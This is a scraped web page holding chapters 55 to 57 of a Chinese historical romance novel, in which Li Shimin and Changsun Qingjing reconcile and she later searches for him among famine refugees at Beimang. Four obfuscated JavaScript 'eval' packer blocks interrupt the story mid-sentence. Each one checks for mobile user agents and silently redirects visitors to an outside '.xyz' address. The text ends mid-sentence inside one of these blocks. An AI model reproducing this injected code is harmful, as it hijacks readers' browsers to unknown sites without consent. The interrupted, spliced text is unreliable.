他本不该迁怒于长孙青璟的。当她负气离去后,他发现了旧屏风一角包裹着她的丝帕,才明白这个女孩珍视着他所珍视的一切,又竭力推着他向前。 他充满了悔意,不知如何挽回。 李世民本想问问鬼鬼祟祟与蝈娘交谈的阿彩,长孙娘子是否住着习惯,旧居室是否寒凉,她是否仍是满心怫然不悦。 只因他颓然丧志、忿不择人,惹恼了耿介自立、孝悌兼至的妻子,以至如今却连一个愿意开解他的人都没有! 西天的云霞燃烧着,就像通远市夜间通明的珊瑚灯,盛大而绝望,最终被洪水般的夜色淹没。 …… 长孙青璟从伊阙回到洛阳城的时候,已过日中。蝈娘尚未从丰都市回府,这令青璟有些担忧她能否将所托之事办妥帖。 推门入室,一个慵懒的身影映入眼底:“安和好在,观音婢!”来人正是昨日还与自己闹得不太愉快的李世民。 他的神情,半是讨好半是孤傲,古怪至极,反而令长孙青璟更加不快。 “不好!有恙!”她才懒得哄他,尤其是当她见到李世民正在翻看她昨晚抄的诗文集,更是对他这种擅闯别人居所的行径厌恶至极。 “谁允许你碰我的文稿的?”长孙青璟将手一抄,准备夺回不成册的楮皮纸。 谁料李世民却先她一步腾跃起身,将一沓纸高高举起,充满恶作剧式的欢乐。 两人的争抢引出了太大的动静,惹得鹦鹉受到惊吓,在站棍上扑棱不停,引吭高叫:“措大!措大!痴愚!痴愚!” “喂,你这么凶悍,骂谁呢?是何人所教?”李世民挑着眉,一本正经地问着学舌的鹦鹉。 “怎么跟一只飞禽计较上了?公子纾尊降贵又所为何事?”长孙青璟没好气地问道。 “伊阙风大吗?礼佛之人是不是摩肩继踵?与你小时候有何不同?”李世民开始没话找话,“下次我陪你前去可好?” 长孙青璟蹙眉望着他,腹诽道:“这算是来讲和?什么皮里阳秋的辞气!” “风太大,人比佛像多。至于下一次礼佛,等天转暖了再说。”她没好气地回答。 一直紧随长孙青璟的阿彩见两人气氛不对头,便遣婢女撤去鹦鹉站竿,将这多嘴的畜生暂且移去别处。 她又将李家的侍婢们遣去外屋,亲自为长孙青璟卸下羃?与袄衫。 一个年幼的婢子凑近阿彩说道:“公子晨起就开始问及娘子去了何处,若不是有旧友来访便追去伊阙了——后来眼见快日中了,又问得由家中最稳妥的部曲、健妇陪长孙娘子同行,才放心在府中静待。中途也不时去府门外、坊里门口张望数次,如今已经在屋中等了娘子一个多时辰。” 阿彩面露喜色,一边为烘瓶添加炭火,一边拼命向长孙青璟使眼色。 “消消气,别这么计较。”李世民扬了扬手中那沓楮纸,“我可是发现了了不得的东西!” 被移出屋的鹦鹉好似受到了巨大的惊吓,一时本能地将最近学到的新词全从喉中倒了出来:“拘儒!钝物!措大!愚戆!” “闭嘴。”警觉的婢女以帔帛抽打这多嘴恶鸟的喙,反而激起它更大的惊惶与反抗,叫跳得更为激烈无章。 在场所有的人都被这尖锐的爆鸣声搅合得脑痛如劈。 “你这鹦鹉才华横溢,都学会变着法子羞辱人了。”李世民悠闲地盘腿而坐, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16140915|178809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “观音婢,新住处比大兴如何?” “我谨记公子昨日训诲,哪敢造次?我并不敢将公子屋中陈设变动半分。公子,你可体察妾履冰临谷之苦心?”长孙青璟挖苦道。 “哦,怒伤肝,稍安勿躁!”李世民有些无奈地说道,“一切随你心意而行即可。谁还能夺走你的摄事之权不成?” “把楮纸还我!”长孙青璟奋袂而起,企图抢夺。 “还给你哪一张?”李世民故意翻看着长孙青璟书写的诗文,弄出纸片摩挲的夸张声响,“我数数,你可写了十几张呢!是《饮马长城窟行》呢还是《云中受突厥主朝宴席赋诗》,是《春江花月夜》呢还是《夏日临江诗》呢?——这就是你来洛阳的路上满脑子默念的陛下的诗文?他的诗文,有那么精妙绝伦值得你如此咀嚼吗?” “嗯。陛下的诗文确实尚可一观,我记得几首也不是什么奇事!”长孙青璟模仿着李世民桀骜不驯的坐姿,挑衅地坐在他面前,“我的好记性来源于我父亲。想要从脑中抹除也不可得呀。” “你昨天整晚莫不是在偷偷临写我的字体?我初看这一沓诗文时,简直惶遽怖绝,细想这是何时失心所为——我明明厌恶一个人至极,却笔录他的诗文。” 长孙青璟深知李世民厌恶杨广乃至厌恶刻意讨好皇帝的一切行径。但是他的辞气,并无对于谄谀行径的厌恶,反而带着一丝古怪的笑意:“观音婢,不,贤妻,你果然神思宕逸,不拘常格。这是为了我令我见信于陛下而勉力为之吗?” 这番肉麻的剖白令长孙青璟不由自主地打了个喷嚏。伊阙的神佛果然灵验,只是用力过猛,有些过犹不及。 榆木脑袋裂得如此之快令刚从车马颠簸中缓过来的长孙青璟措手不及。 “矜功自伐,寡廉鲜耻!”长孙青璟注视着地板,躲避等待回应的热切眼神,胡乱抵赖道,“满口胡言!你我皆临摹王字,写得有些像岂不再寻常不过?有什么可大惊小怪的?” 她薄面含嗔,双颊晕红,有种朱砂透玉的光泽。今晨在伊阙逗留许久,发鬓间还残存着篆烟与湖水的味道。 加上口齿伶俐,舌粲莲花,神采更显得跃如倜傥。李世民着迷于这种野草般的生机,只觉得神摇意荡、情澜暗涌。 “哎,你从主座上下来,把纸笔还给我!”长孙青璟催促道。 眼前这个明艳活泼的女孩,如映日灼灼的春园桃花,临风颤颤的夏沼菡萏。 如今这副嗔云上涌、欲盖弥彰的意态为她裹上了一层胡桃壳,愈是坚硬愈发令人想去剥除,去一窥壳中的天地。 “明明学我学得那么认真刻意嘛!”少年一时不知该如何压制自己汹涌的情愫,便开始用不合时宜的玩笑掩饰内心恣肆的激流。 “你看你笔下这个钩,我一般就写得与右军不同。你虽反复涂抹,竭力模拟,却不及我随意潇洒。还说没学我?”他一脸抓住长孙青璟把柄的得意神色,却不想被窥破心事的女孩恼羞成怒,劈手去捞案上的弹丸。 “君子动口不动手。”李世民抓起弹弓和弹丸,扔向远处道,“你的心思我都明白。要不我教你写!”他一手仍抓着楮纸不放,一手执笔逗弄着这个不怎么愿意和他说话的女孩。 长孙青璟冷笑一声,从烘瓶边抄起一根火钩,倏忽如挽剑成轮,流星曳影。 “好啊!我来教你写钩!” 榆木裂开了一条缝,胡桃壳却坚硬不可摧折。 55. 波折 “好好说话,不准刮我脸!” 火钩甩到眼前那一瞬,李世民跃起退后一步。 话虽如此,他却并不以手遮面,也未以臂膀格挡,而是展现出一副只想躲远了事、不另生事端的敷衍态度。 他只是轻轻将楮笺藏诸身后,或紧抱在怀中,以免它们被火钩划破。 在火钩的步步紧逼之下,李世民狼狈地俯身,接着便从从飞舞的火钩下滚了过去。 李世民那并不较真反而一味避让的架势令长孙青璟意外。若不是身上的斩衰提醒自己正在守制,她几乎就被这滑稽的动作逗笑了。 长孙青璟本也是因恼羞成怒而虚张声势,没有弄伤李世民的意思,便横持火钩收在身侧。 李世民也不再口出狂言与长孙青璟逗乐,一个沉鳞振尾从地板上跃起,手中楮素毫无散落。 他起身后便将楮纸砌好置诸案角。又从袖囊中取出绣有鹿韭纹样的丝帕,重新叠好,一并放置在纸笺之上。 “这是……”长孙青璟愣住了,扔掉火钩,跑到案前,“你从何处得来的?” “我从旧屏风的一角上取下来的,看着不像府中旧物,又绣着鹿韭,想来是你的随身物什。”李世民一改方才戏谑慵懒的姿态,低头整理书案,不敢看长孙青璟一眼。 他局促地说:“那鹦鹉其实说得也还算在理。我有点蠢,本该早些来找你。又怕你哭闹无度……” “神机化灭!我没你擅长哭泣……” “我好像确实是你说的那个样子。”李世民没有因为长孙青璟揭他有些难堪的老底而有任何波动,他只是小心翼翼地从书案另一端的地板上捧起一把五弦琵琶,放进长孙青璟怀中。 似乎是害怕被拒绝似的,李世民的掌心在覆手下方停留了片刻,确定长孙青璟不会将他珍视的旧物生气掷还,他才收回手。 “这是我刚找到的琵琶,弦已经调好。虽说有些旧,音色尚可,望你不要嫌弃。” “好。”长孙青璟托起琴颈与背板,对突如其来的礼物显得茫然无措。 李世民见她并无欣喜之情,便急匆匆地问道:“你更擅箜篌?我本该送你一把箜篌,可是府库中实在没有趁手的……” “倒也不是,我同样喜爱琵琶。我母亲那边所有亲戚都擅弹琵琶。”长孙青璟俯首柔声说道。 李世民沉默许久,终于怀着励勇决行之心说道:“我把母亲的旧屏风收好了,问过了婢女们,就藏于你选定的库房之中。昨日我心窍蒙尘,一时失言,你不要放在心上,今日特来负荆请罪。” 两人四目相瞩,默然如契。 “云翳遮天,终有霁日;河海奔涌,矩无宁时?毘提诃,困踬于当下之时,你尚怀瞻远之志,母亲泉下有知,也会倍感欣然。”长孙青璟觉得这番安慰未免空洞了些。但是她搜索枯肠,竟也找不出更好的言辞。 她深感这个孝顺且崇敬母亲的少年须得怀着极大的勇气去斩断那些与过往的牵绊,而她自己前日擅自处置窦夫人遗物的果决,对于这个满心信任妻子的少年来说却有遭遇红妆化刃的可憎可怖。 昨天的她,在李世民眼中未尝不是骄横霸道,面目可憎的。 好吧,那就扯平了。——她想说点冠冕堂皇的原谅言辞,舌头却僵直无力。 “你今日鞍马劳动,早点歇息。”李世民心稍安,便将下一步日程和盘托出,“我这几日先前去北邙的田庄处置流民事宜。处置完毕后,再依照你的主张学点阿谀之术求得圣上信重。我虽性情躁急多怒,却并非冥顽不灵。得卿同行,如暗室得灯!” 他悄无声息地离去,留下隐秘的招揽死士的计划与努力学会胁肩谄媚的承诺。 李世民虽然未曾经历自己臆想的长孙青璟痛哭流涕,自己柔声安慰,皆大欢喜的和好场景,但是这意料之外的结局也不算太坏。 一直于屏风外观望的阿彩也终于吐出胸中浊气。不过她仍然认为长孙青璟待郎君略微冷淡了些。 之前的凶悍倒也情有可原,公子无礼在先,阿彩身为娘家婢女也不忍娘子受半点委屈,即便刘娘子问起二人龃龉之事,她也会竭力维护自家娘子。可是既然郎君已经服软,还将两件故物均交给娘子处置,可见信重。 娘子毫无挽留之意,未免薄情。 长孙青璟确实也困顿不堪,倚在榻上假寐。阿彩也不再多嘴牵扯他们夫妻二人之琐事,只是为她覆上被衾。 她正准备吩咐屋外守候婢女准备祛寒的饮子,方才与她通风报信年幼的婢女持着鹦鹉站杆兴冲冲地跑进里屋,与阿彩撞了个满怀,惊得鹦鹉奋迅扑漉。 “轻点声,娘子正歇息。”阿彩作出噤声的手势。 “阿姊,蝈娘回来了。”年幼的婢女踮起脚尖,将站杆归于原处,压低了声响,又丝毫掩饰不住兴奋之情,“郎君与娘子种下的李树长出了几个新蓓——我们几个亲眼所见,这是真的啊!我们本以为那两棵树活不了!” 这女孩的感慨,有种罔顾阿彩初来乍到的陌生怅然的痴傻,只是单纯地宣泄自己对奇闻异事的惊讶欣喜。 “蝉衣。”早就候在屋外刘娘子步入屋内,隔着屏风轻声训斥,“一年不见,你还是稚态未脱,一惊一乍的。快出来,赶紧叫蝈娘来娘子这里侍候。你不要搅扰长孙娘子与阿彩姑娘休憩。” 蝉衣冲着阿彩吐了吐舌头,并不十分惧怕,故意磨磨蹭蹭经过刘娘子身边,还扳着手指细数花苞,惹得刘娘子轻敲她额角。 然后,这个灵巧通明,娇憨莹然的女孩子便一缩脖子,风一般地跑远了。 假寐的长孙青璟嘴角微翘,露出一个似有若无的浅笑…… 人日之后,整个洛阳城开始为即将到来的上元节忙碌起来。通远市与丰都市人头攒动,绸缎饰树,珊瑚高擎,珍奇罗列。就连朱雀街与各坊里的扫洒频次也因皇帝的颜面而增多了起来。 唐国公李渊因宿卫紫薇宫职责所在,须臾不敢有丝毫懈怠。年轻夫妇需为母守制,并不敢大张旗鼓拜见亲友,只是代父亲零星地接待前来拜访的缌亲。 延宕了几日,李世民决定去北邙附近的田庄查看情状,留妻子守家。 长孙青璟虽无异议,但是心中仍是有些担心自己无法独立支撑家门。看到丈夫急切地向一探田庄究竟,她也便咬牙应承下来。 而家令却竭力反对小郎君此时离开洛阳。 “上元将至,郎君宿卫禁中,公务在身,不知家中如何布 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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皇帝需要绝对的忠诚,矫情至死的忠诚,否则就是异志、是篡逆,是十恶不赦。 那就让他看见这彻底的、肉麻的、别无二心的忠诚! 戌初已至,却丝毫没听见班马的嘶鸣。 戌正又至,暮鼓那震彻人心的声响传遍整个洛阳城。 长孙青璟有些奇怪,这么短的路程。到底因何耽搁? 不过她也不算焦急,因为早在李世民十一二岁时,她便亲历他为解救友人、夜不归宿的仗义之举。 她在李世民居丧时所居的暖阁——也即是窦夫人往日会客小憩之处等他。 阿彩送来御寒的饮子与一盘蜜煎李子。她咬了一口被蜂蜜完全掩盖了酸味的李脯,计上心头。 …… 长孙青璟从暖阁中醒来时,已是第二天卯时。好不容易捱到晨钟敲响,忍到辰正已过,她终于急不可耐地遣几个部曲到北邙打听丈夫为何事所累。 而结果却令她大惊失色。 部曲带着家令一同从田庄回府。家中所有人相互问讯、相互确认。最终,家令与刘娘子一道拜谒长孙娘子,告知这位新女主人:二郎,怕是失踪了。 56. 北邙 长孙青璟听到这消息的第一反应不是恐惧而是惊讶。 她毕竟有些不甘心听到丈夫离奇失踪的消息,便问道:“去周围找过没有?或是受人之邀,或是登门拜访,寄宿在友人庄园中。” ——话刚出口,她自己便先于心中将这想法否定了。丈夫对母亲至孝,到洛阳之后,若不是陪同父亲外出或是有人来访,他都懒得走出阁子一步,她实在无法想象他会在受制之时作出逾礼之举。 “部曲们想得到的庄园都找过了,毫无头绪,所以不得不回报娘子。”家令无可奈何道。 “或是庄中人疏忽,未有留意他留下的手条或口信?”长孙青璟仍然存着一丝希望。 “凡是庄中放置有纸笔之处也都细细搜查过——二郎若留手条,也通常置于最显眼处。往日也不是没有不辞而别的情形,但最多第二日清晨,总会差人回来报信。” 长孙青璟可以听出家令心中的惴惴不安。 刘娘子又上前道:“长孙娘子,初时家令也觉得或是二郎早回了洛阳。所以急着赶回来确认,结果失望之至。我又细细盘查侍奉他的几个婢子,她们也未听得二郎有何会友打算。二郎那性子,凡是亲近之人不在他眼皮子底下太久,都要着急寻找,哪会不辞而别。” “是啊,二郎不是个言而无信之人。初时允诺我当天往返,如此遁形实在不是他行事风格。”长孙青璟这也算作变相承认丈夫失踪的事实。 家令上前问道:“是否告知唐公?我需娘子亲书手条,再由皇城外贿赂人传讯。” 刘娘子却道:“唐公现在鞭长莫及,不如直接告官。公爵的爱子失踪了,河南尹与洛阳令总不能装聋作哑吧!” “万万不可!”长孙青璟与家令异口同声道。 “这是何故?你们拉不下脸来告官,由我这老妪前去便是!”刘娘子一时气结,顿觉家令与长孙青璟简直生性凉薄,毫不顾忌小郎君的死活。 “阿嬭稍安勿躁。”长孙青璟条分缕析道,“如今皇帝筹备在洛阳大办上元庆典,区区一个公爵儿子若惊动了刑曹参军与武侯出动寻找,传到圣上耳中,恐怕对大人不利。” 她吩咐蝉衣研墨,自己就靠坐在窦夫人往常处理府中大小事务所做的几案上,边写手条边嘱咐家令:“先生,我看暂时不要惊扰大人,他若知晓也无能为力。若为此分心妨碍宿卫之职,只怕反而惹得圣上不快。不如这样,你安排稳妥的家生与部曲前往与大人交厚的官宦府上,呈上我的信笺,若能助力那求之不得,若面露难色也不要强求。——自家的难事只得自家着手料理。你现在为我备快马,我亲自去一趟北邙!” “不可!”家令与刘娘子竭力劝阻。 家生拱手道:“娘子心急如焚,我是知道的。但若因此事受风寒染疾,我们在两位郎君面前承担不起。娘子但在府中安坐,我得了娘子手条,前去拜会唐公那些手可通天的亲友,定将二郎毫发无损带回。娘子切不可贸然前往北邙!” 长孙青璟不解道:“先生,我是前任右骁卫将军的女儿,也略通些弓马技艺,不到一个时辰的路程还是能承受的。我亲自去庄上查看一下,兴许会有些头绪。” 家令的表情愈发严肃起来:“长孙娘子,这与您是否弓马娴熟毫无关联。您一定不要走邙阪道!” “为什么?因为邙山有鬼怪,敢以铁轮碾出皇帝的脑髓,所以先生不让我走?” 长孙青璟提及了大业初年杨广的噩梦,在座信佛的诸位管事娘子都吓得花容失色,连声念佛。 “罪过罪过,长孙娘子赶紧忘记这个传闻为妙!”刘娘子双手合十道。 家令对这个坊间流传的噩梦不以为意,只是坚持说道:“不可以走邙阪道。娘子定会后悔的。没有人想走第二次!” “备马!”看来她是一句也没听进去。 …… 家令从来没有见过这么倔强的女孩,令他一而再再而三地与之妥协。 他先是考虑新婚夫妇情笃,放弃了令长孙娘子干坐等待的计划,建议她前往陈国府求舅氏相助;但是在长孙娘子声泪俱下的据理力争中,他终于落了下风,同意她坐马车,由部曲护卫前往北邙;当然这仍旧不能使得长孙娘子满意,最终只得眼睁睁地看着长孙娘子只以冪?遮面,由四名健妇贴身侍奉,另选十几名部曲在外围环绕护卫,草草上路,策马直奔邙阪道。 家令向来马厩送别的刘娘子摇摇头道:“这位新主母大概真是与二郎气类相感,性灵相召。之前只需要对付一棵不展新枝条的倔强松,现在松树旁又站着一只逆风鹤,着实为难我了。” 他说罢,不敢有半点怠慢,翻身上马,疾驰追赶小主母那支傲慢自大的仪从队,以免她有丝毫闪失。 “唵嘛呢叭咪吽莎诃。”刘娘子与阿彩等人念着观音救难咒,目送一众人等远去…… 一行人北出徽安门,直入官道。长孙青璟一开始尚且觉得一切并没有异常,官道齐整如常,偶有胥吏在道旁向流民分发陈年米粟,士兵来回巡逻。她单纯地认为家令只是出于谨小慎微的心理不允许她前往北邙,故而危言耸听。 路程过半时,官道上开始吵嚷起来。行尸走肉般的饥氓、流民不绝如缕地从四面八方涌上前来,企图到洛阳上东门碰碰运气。 “上东门已经封闭!诸位请回吧!”有胥吏大声宣告来自洛阳的最新指令。 长孙青璟及其所带仪从便这样被困在双方僵持的路中。 “这是唐国公亲眷,公等明察,高抬贵手,放我们过去!”李家家令与这一带的胥吏熟识,自报家门之时,便有差役为长孙青璟从人潮中辟出一条狭窄小径来。 “娘子快走,不可顾盼!”家令叮嘱道。 “明府,朝廷的赋税已经征收到我孙子辈,征辽东修运河建行宫,老人、女人、孩子都不放过。我等早已家破人亡,如今不过是去洛阳讨要一口馊粥,为何阻挡?” 迎接质询的只有沉重的皮鞭。流民开始四散逃窜,又不停寻找新的突破口蜂拥向洛阳城而去。 “快走,莫要再停留!”家令的催促之声方落,一个皮粘枯骨,几乎看不出年龄的妇人冲至长孙青璟马前。 受惊的马匹后腿如人站立,颈鬃裂天,险些将长孙青璟掀下马背。而那妇人自身却丝毫不在意会被惊马践踏致死,只是跪在马前,解下腰间系绳,竭力将头颅硕大、吮指干嚎的婴儿举止长孙青璟马鞍高处。 “夫人,娘子!请行行善吧!”她已经流不出眼泪,只用嘶哑的声音发出野兽般的嚎叫,“只要一握麸皮,把他带走吧。” “娘子,别碰那个婴儿,他活不长!”护卫长孙青璟的一位健妇阻止涉世未深的年轻女主人做傻事。 长孙青璟颤抖着将右手伸进左袖囊袋,企图在里面翻找出几枚星月纹样的开皇五铢钱。两名部曲却已经下马 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16150229|178809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将那怀抱婴儿求助的妇人拖走。 “娘子,留下孩子吧!娘子,给孩子一条生路啊!”被拖远的妇人字字泣血,如锥子扎疼长孙青璟的心。她惊魂未定地问家令:“昨日二郎也看到这些了?” 家令颔首,沉痛地说道:“你们救不过来的,看得多了也就麻木不堪了。快走吧。” 长孙青璟不再固执多言,只是赶路,对中途那些拄蒿匍匐,伏尸而哭的流民不敢再多看一眼。 田庄将至之时,远望见官道旁枯树的丫枝上挂满了凌乱的布匹,在风中翻飞。 她想询问家令难道官道上也需用绸布装饰树木庆贺上元节,行近时却看到一株株悲寂矗立的行道树通身树皮皆被刮去,便觉得这与上元的气氛明显不同,简直鬼气森森,不可名状。 自己已然惹出麻烦,她便羞于再开口询问。 然而有一双不甘心就此罢休的手硬是将长孙青璟的眼皮撑开了——一位形销骨立的饥民正努力攀上一株枯槐树的树冠,越过悬挂得重重叠叠的白衣,将一件似乎是婴孩的衣物挂在树的顶端。 然后,她就像失去了所有意志般直直地、毫无生机地掉落了下来。 长孙青璟顾不得被家令指责多管闲事,下马直扑树下。 那摔落的妇人气息尚存,十指嵌入泥土中支撑着自己匍匐前行。终于,她摸到了前方赤裸的死婴,便心满意足地将他抱入怀中。妇人皮肤皴裂,骨骼显形。 她竭力使出最后的气力将婴儿裹入衣襟之中。 她的双肋如透光的竹帘,胸前的破烂麻衣上尽是血渍与乳垢。 长孙青璟取下厚重的帔帛为母子二人披上。 将死的母亲眼前出现了幻象: “奴奴真聪明,阿娘刚挂好招魂幡就找回来了。” “奴奴,拉好阿娘的手,观音菩萨来接我们了。” 再没有赋税、徭役、饥馁的灾难能把这对母子分开了。 “蒿里谁家地,聚敛魂魄无贤愚。鬼伯一何相催促,人命不得稍踟蹰。” 年轻的贵女摘下冪?,跪在这对母子身前,攥紧双拳,轻轻吟诵着属于庶民的挽歌,泪如泉涌。 一树树的招魂幡在正月的寒风里摇曳披拂,上下翻卷,哀悼着凝固在春天的生命。 作为元魏皇族远支,长孙青璟对于佛教不甚虔诚。此时她却真心祈求希望有一阵香风导引这些受尽苦难的普罗大众登上般若舟,远离人间的刀山火海。 “娘子,外面险象环生,您也亲历了。我们去田庄里吧!”家令劝道。 “我大概猜到二郎会去何处了。他不会莫名失踪,他只是困住了,我去找他!”长孙青璟擦干眼泪,振臂腾鞍,绝尘而逝,不留给随扈丝毫喘息与思考的机会。 她纵马登上南麓台地,忽觉马腹轻颤,便揽辔下鞍。 那么多帝陵、高台、山坡,她的丈夫会在何处呢?长孙青璟挽丝徐行,攀岩扪萝,仰首间却见李世民正负手站在更高处。 “毘提诃!”长孙青璟摇动着冪?。 李世民显然看到了妻子。他满面愕然,亟需掐臂自证。长孙青璟喜极而泣,扔下骏马,驰赴高处。 骏马发出警觉的啸叫,但是长孙青璟并没有在意。 “观音婢,趴下,快趴下!”李世民彀弓持满,目窥山魈,怵惕骇然地大叫。 嘶哑的声音里带着一丝血腥荒诞的味道。 57. 交心 长孙青璟狼狈地抱头滚落在地,只听见马匹惊恐万状的嘶鸣、既像婴儿啼哭又像犬吠的鸣叫,箭羽掠过反绾髻上榛木簪时的气流声。 紧接着,一个似狼又似野猪的活物龇牙倒在她身侧。 她惊恐地后退几步,随即连滚带爬地跑向李世民,一头扎进他怀中,双臂自胁下揽抱住少年宽阔的后背。 她的整个心胸,都被失而复得的欢欣填满了。 “我等了你好久,也找了你好久。你平安无事就好——我是这么娴雅大度的娘子,都不忍心责备你。”她索性依偎在失神的少年怀中——前半句话确是出于真心,后半句自吹自擂却伴着一个无人察觉的白眼。 李世民扔下弓箭,双手轻轻托起长孙青璟红润的脸颊,替她拂去脸上的枯草。他捧着这张脏兮兮的带着轻微血痕的脸,好像捧着整个春天。 “你不该来北邙。”他松开捧颊的双手,无可奈何地空手拥彗,“灵台列炬,候君久矣——欢迎来地狱。” 李世民提刀快步跑向刚被射死的豺狗,恶狠狠地揣了一脚,确认它已经毙命之后,便收弓入袋,负于背上,又将胡禄挂在腰侧,提起置于岩石上的一壶酒,牵上长孙青璟的马,挽起她的胳膊,安心地踏苔而行。 “你见过长得像猪的豺狗吗?”他沉重地问道。 长孙青璟后怕地看了一眼那已长得怪异到无法辨认的野狗,摇头否定:“豺狗都是一副吃不饱的嶙峋样。它长成这个豕样,真是令人震悚!” “如今整个邙山脚下到处都是它们的美餐,一条条吃得肠肥脑满,油光水滑,也无怪躲闪不及,丧命箭下。”除了吵架、械斗、救人、听人诉苦,李世民已经两天没有遇到一个能与自己正常交谈的人了。现在终于与长孙青璟重逢,他不禁骋辞如川,滔滔不绝。 长孙青璟一想到这些畜生如今饱食人肉,已经抑制不住对新鲜血液的渴望,自己方才也被误当成落单的、无礼反抗的饥民,差一点葬身于豺狗之口,一时心悸,干呕不止。 “……这畜生现在居然还学会挑嘴了,人腊它已经不屑吃了,奄奄一息的好下嘴也还算新鲜,你这种疲劳而又无防备年轻娘子是最完美的猎物……”他依旧词涌如瀑,丝毫没有留意妻子的异样与不适。 长孙青璟面色苍白,汗流涔涔,如珠贯颊,俄而浸透中衣。 “等等!”她招呼近在咫尺的李世民放缓脚步,但是自己的声音却像是从天边飘来一般,陌生无比。 李世民急忙扶住颤栗如筛糠的妻子,发现她双手冰冷,神思恍惚。 这种因恐惧和反胃所造成的痉挛终于引起了他的注意。 “你不舒服吗?是我走得太快了?你穿得太单薄,是受了风寒?”李世民在颈下摸索一条并不存在的襜褕系带,手指扑空几次后,他陡然发现并不存在这件襜褕,终于作罢了。 李世民撑住长孙青璟后背,满怀歉意:“是我不好。我总是莫名把你当成那些陪我斗鸡走马的好友中的一员,说话口无遮拦。忘记了娘子们总是娇贵些。这些血流濡缕、肢残胔腐的话本不该当着你的面说出来。” “我缓缓就好。”长孙青璟在原地闭目半晌,再次睁开时,虚弱晕眩之感消减了些许,“你愿意把我当成另一个无忌,也未尝不可啊!” 李世民嘴角上扬:“你能这样想,倒也有趣!” “你与我有何见外?”长孙青璟下意识地从上臂处抽取帔帛,准备将其铺陈于地,却蓦然意识到它已经成为那对新丧母子的棺椁,不由悲从中来,失而复得的欣喜中也掺杂着阴霾。 四下无人,两人索性席地箕踞而坐。长孙青璟胃中喉中的痉挛稍稍减缓。 两人望着烟霞中飘荡的以死者衣物制成的白幡,临终还保持竭尽全力匍匐前往洛阳姿势的尸首,枕在逝去亲人身上喘息哀嚎也许再也醒不过来的幼童,被阳光映照如鲜血如火焰的溪流,好像被人捺颅强行观赏展子虔的《地狱变》。 长久的沉默之后,长孙青璟问道:“你这两日到底经历了什么?为何说起豺狗食人之事如此淡定戏谑?” “一言难尽……” “你的襜褕呢?”眼尖的少女突然意识到了什么,“你不会也拿去救人了吧?” “上帝板板,下民卒瘅……多将熇熇,不可救药。”少年面对坡下这幅真实的、不忍卒阅的《地狱变》,将头埋在双膝之间,哽咽着喃喃自语,“救不过来,我完全救不过来……” “这就是你失踪的原因?”长孙青璟轻抚李世民俯仰无度的后背,一言不发地等着他平静下来。 “观音婢,你相信我接下来同你所说的每一句话吗?”李世民从膝头抬起脸,眺望着远处一树树饥民仓促潦草间制作的招魂幡,若有所思地问道,“如果我说的事情中有许多离奇的、荒诞不经的、用常理无法想象的情形,你会认为我只是做了一个噩梦吗?” 长孙青璟的眼神严肃起来:“你正踩着后汉诸帝的尸骨跟我说话——还有,往北的高高低低的山头属于元魏诸帝,他们是我的远亲。你要是敢当着他们的面胡说八道,岂不是会被车轮碾出脑浆?” “我不敢撒谎。”少年下意识地望了望脚下荒冢,拍打双膝,向丘陵下的某位皇帝欠身致意,又挺直了身板,瞠目向天,竭力将眼眶中蓄满的眼泪收回。接着,他开始讲述自己出现在某个东汉帝陵封土上的缘由。 “我一开始对家令阻止我来北邙一事不以为然,自以为是地揣测他只是嫌我年轻多事。细细想来,他是实在不想让我见到那些河东饥民的惨状,他倒是真的为我着想,待我……待我如……己出?”李世民蹙眉道,“我一夜不曾合眼,脑子里似塞满棉絮,难免措辞不当。我本想赞他是位忠仆,然而这话太过生疏;若是褒扬下位者视上位者为己子,又觉得僭越礼法。横竖都是不妥。” “我听得懂,家令也劝我了。刘娘子与家令都不是一般奴婢,前者有养育之恩,后者有持家之功。你爱怎么方比,我都不会笑话你。”长孙青璟鼓励李世民继续说下去。 “邙阪道上的情形,也不消我多说,想必你一路看得比我说得真切。” “我看见了。”长孙青璟点点头,“有个母亲想问我要一把麸皮换她儿子给我当奴婢,在我到处找星月五铢换人时被部曲拉远了,但愿他们还活着;还有个衣不蔽体的母亲把死婴的衣物挂上槐树梢招魂,最后怀抱孩子而死,那母亲弥留时将我当成接她去天界的观音。如果我的《涅槃经》没有念错的话,她和她的孩子应该已经到彼岸了……” 她的鼻尖,被寒风吹得酸痛而不再有知觉:“那么你呢?你遭遇了什么?” “我和部曲们随身携带的五铢钱根本不够用。流民像潮水一样涌到马前,一浪高过一浪,眼看快把我掀翻在地。家令、部曲、沿途的胥吏只能合力驱赶这些流民。那些饥民,手无寸铁,形容枯槁,无非是去洛阳上东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 